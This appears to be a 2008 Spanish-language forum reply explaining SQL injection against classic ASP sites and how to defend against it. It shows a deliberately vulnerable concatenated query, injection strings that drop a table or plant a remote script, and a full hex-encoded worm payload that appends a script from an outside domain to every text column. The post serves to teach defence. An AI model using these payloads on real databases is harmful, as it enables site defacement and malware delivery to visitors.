Ver Mensaje Individual
  #4 (permalink)  
Antiguo 25/06/2008, 14:09
Avatar de u_goldman
u_goldman
Moderador
 
Fecha de Ingreso: enero-2002
Mensajes: 8.031
Antigüedad: 23 años, 3 meses
Puntos: 98
Respuesta: http://www.pingbnr.com

Hola de nuevo,

Depende del tipo de ataque que te estén haciendo -revisa tus logs- pero generalmente se hacía lo siguiente, supóngase este escenario:

Código:
<%
Dim id
id = Request.QueryString("id")

strSQL = "SELECT campo FROM tabla WHERE ID = " & id

'Suponiendo que se recibe un valor esperado, la salida de esta consulta al hacerle un response.write:
SELECT campo FROM tabla WHERE id = 567

%>
La técnica de inyección de SQL busca completar una sentencia de manera correcta, pero para poderte inyectar tengo que saber donde, JET generalmente te dará el una descripción bastante buena:

Código:
SELECT campo FROM tabla WHERE id = '
Aqui me da el nombre de la tabla, y con un poco de intuicion y suerte puedo hacerte bastante daño:

Código:
'Envio por querystring algo que haga valida la sentencia
'0 OR 1=1;UPDATE tabla SET campo = '<script src=blabla.com></script>'
SELECT campo FROM tabla WHERE id = 0 OR 1=1;UPDATE tabla SET campo = '<script src=blabla.com></script>'
Mas malicioso
Código:
'0 OR 1=1;DROP TABLE tabla
SELECT campo FROM tabla WHERE id = 0 OR 1=1;DROP TABLE tabla
Muchos desarrolladores te dirán que todo lo que tienes que hacer es controlar el apóstrofe replace("'", "''")


Lo que hacen los "worms" hoy en día (por eso decía que controlar el apóstrofe no basta sobre todo para bases de datos de MS SQL):
Código:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
Básicamente te están envíando mediante T-SQL todo el ataque empaquetado, de modo que tu motor de SQL interpretará eso y ejecutará una sentencia válida.

Cosas por hacer:

- Controlar el permiso del usuario público de la base de datos, muchas veces le damos más permisos de los que merecen, en la mayoría de los casos para sitios no tan nuevos, el usuario público no tiene porque tener permisos de escritura en la base de datos.
- Controlar las entradas del usuario a la base de datos, controlar apóstrofes, caracteres, palabras, si esperas un dato numérico puedes solamente valerte de la función Isnumeric, pero la recomendación en general es parametrizar tus consultas.
- Buscar alguna alternativa de SW para bloquear estos ataques: http://www.aqtronix.com/?PageID=99 es una aplicación excelente y gratuita


Saludos
__________________
"El hombre que ha empezado a vivir seriamente por dentro, empieza a vivir más sencillamente por fuera."
-- Ernest Hemingway